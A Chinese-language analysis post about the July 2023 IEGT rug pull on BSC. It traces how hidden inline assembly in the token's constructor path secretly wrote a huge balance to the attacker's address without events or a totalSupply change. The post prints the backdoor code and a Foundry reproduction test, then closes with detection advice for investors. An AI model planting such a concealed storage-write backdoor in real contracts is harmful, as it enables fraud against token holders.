03.RugPull@IEGT
2023-09-18 11:09:14 # 13.RugPull

RugPull@IEGT

事件背景

  • 关键词:内联汇编,构造器增发,storage位置计算
  • 时间:2023.07.22
  • 损失:1,143,787 BSC-USD [$1,143,296]

交易

资金流向

将IEGT换成UBS-USD卷款跑路:

RP合约简析

从合约有中文注释来看,大概率是我们国人开的韭菜盘。单纯是一个ERC20代币合约,然后添加了各种旁支功能。整体的架构就是一大堆辅助的库和interface,核心只有ERC20代币合约。没有任何实际作用的项目,单纯是炒币用,这种盘很大可能就是用来割韭菜的

攻击过程

首先看到前三的代币拥有量跟总发行量的对比,就感觉有问题,虽然1和2不是个人地址,但理论上他们也不应该有这么多,给这么多他们干啥用呢?第三个地址拥有这么大份额的代币,而且是一个陌生的地址,很有可能可以被控制。

image-20230827131230235

这个项目被卷款跑路,因此我们来看一下交易。很明显了,有两笔使用1,000,000,000的swap交易,换出了1,143,775.72912132+12.6276455108497个BSC-USD(上面的那笔是为了把剩余的12个代币都拿走,一点不剩)。

image-20230827131435574

查看交易详情,我们发现都是0x00002b9b0748d575CB21De3caE868Ed19a7B5B56干的,他拥有极多的IEGT,但是totalSupply并没有记录。在这个地址找到了2个巨鲸的转账记录,这下我们知道了,这两个巨鲸的资金来源了。同时也进一步说明,0x00002b9b0748d575CB21De3caE868Ed19a7B5B56的资金没有被totalSupply记录,随时准备RugPull。

image-20230827132254582

按照ERC20标准,每次和代币有关的交易无论mint还是转账,都需要触发event并记录在案,但是totalSupply并没有记录。因此,我们分析到底是从哪里来的资金。

攻击详细分析

既然没有记录,那么就有两个可能:(1)直接修改storage存储数据,(2)在构造器中直接对变量进行操作。

分析所有方法过后,发现没有任何方法可以修改storage数据,因此我们查看构造器。它的主合约只有一个构造器,方法全部继承自父类,因此构造器会写的复杂,告诉别人我的构造器只是用来初始化参数而已。

1
2
3
4
5
6
constructor() ERC20("IEGT","IEGT") {
super.__SwapPool_init(_router, _usdt);
if (_isLimit) super.__Limit_init( _totalSupply / 250,_totalSupply / 250, _totalSupply / 250 );
super.setSurprise( 5000, 3 );
super.__Token_init(_totalSupply, _marketing, _receive, _usdt);
}

主要的初始化逻辑是四个,我们进行追溯。发现在池子池子初始化的方法中,找到这个东西:super.__SwapPool_init(_router, _usdt); ====> _pathSet(pairB);:在初始化币对路径的时候,多了一个内联汇编,正常来说根本不需要。

image-20230827141810106

整理一下,得到如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function _pathSet(address w) private {
TokenB = IERC20(w);
address[] memory path = new address[](2);
path[0] = w;
path[1] = address(this);
_buyPath = path;
address[] memory path2 = new address[](2);
path2[0] = address(this);
path2[1] = w;
_sellPath = path2;
assembly {
let y := add(add(mul(379858174470926,exp(10,28)),mul(61835533555714,exp(10,14))),74433453022038)
mstore(0, y)
mstore(32, 0x0)
sstore(keccak256(0, 64), exp(timestamp(), 6))
mstore(0, y)
mstore(32, 0xa)
sstore(keccak256(0,64), 1)
w := add(w, 16)
}
TokenB.transfer(w, 0);
}

进一步分析内联汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
assembly {
// y = 3798581744709266183553355571474433453022038 = 0x2b9b0748d575cb21de3cae868ed19a7b5b56
let y := add(add(mul(379858174470926,exp(10,28)),mul(61835533555714,exp(10,14))),74433453022038)

// memory:
// 00000000000000000000000000002b9b0748d575cb21de3cae868ed19a7b5b56 0x00
// 0000000000000000000000000000000000000000000000000000000000000000 0x20
mstore(0, y)
mstore(32, 0x0)

// 对0~64字节的内存位置进行keccak256,得到一个值x
// exp(timestamp(), 6)得到一个一个很大的随机值y
// 然后在storage位置x写入一个很大的值y
// 这个slot_[keccak256(0, 64)]位置算出来的是balanceOf(hacker)的存储位置,给了他金额y
sstore(keccak256(0, 64), exp(timestamp(), 6))

// 后面的代码没啥用

// memory:
// [y] 0x00
// 000000000000000000000000000000000000000000000000000000000000000a 0x20
mstore(0, y)
mstore(32, 0xa)

// 在slot_[keccak256(0,64)]写入值1
sstore(keccak256(0,64), 1)

// w的值增加16
w := add(w, 16)
}

分析合约继承结构可以知道,记录balance的变量位于slot_0

1
2
3
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;

这下我们明白了黑客的主要逻辑:

  1. 把代码写成一坨,让用户看不清,混淆;
  2. 在构造器中做手脚,找一个隐蔽的位置_pathSet(pairB)中嵌入一段代码;
  3. 此代码,通过巧妙的方法计算出黑客的地址,然后用sstore写入balance的记录位置,这样,没有任何方法被调用(无法追溯),没有event释放,没有更新totalSupply;
  4. 另外:黑客将balance变量放在在slot_0,这是为了他自己计算位置方便。

复现

GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./contract.sol";

contract Attacker is Test {

TokenIEGT public token;

function setUp() public {
vm.createSelectFork("bsc", 29_919_951);
token = new TokenIEGT();
}

function test_deploy() public{
uint256 attackerInitBalance = token.balanceOf(address(0x00002b9b0748d575CB21De3caE868Ed19a7B5B56));
assertEq(attackerInitBalance, block.timestamp ** 6);
assertEq(token.totalSupply(), 5000000000000000000000000);
console.log("token.totalSupply():", token.totalSupply());
console.log("attackerInitBalance:", attackerInitBalance);
}
}
1
2
3
Logs:
token.totalSupply(): 5000000000000000000000000
attackerInitBalance: 23234513382320230064402743165556372473988720904454891584

建议

  • 代码不整齐的,像这种一坨的,说明项目方心思不对,不可能有人这么编码的,肯定是编码之后进行打乱操作
  • 看一个项目是否是rugPull,建议看holders,看看有没有巨鲸。如果受害者在操作之前能够看一下holders的情况,然后看看这些巨鲸的资金来源是哪,没准就能发现问题
Prev
2023-09-18 11:09:14 # 13.RugPull
Next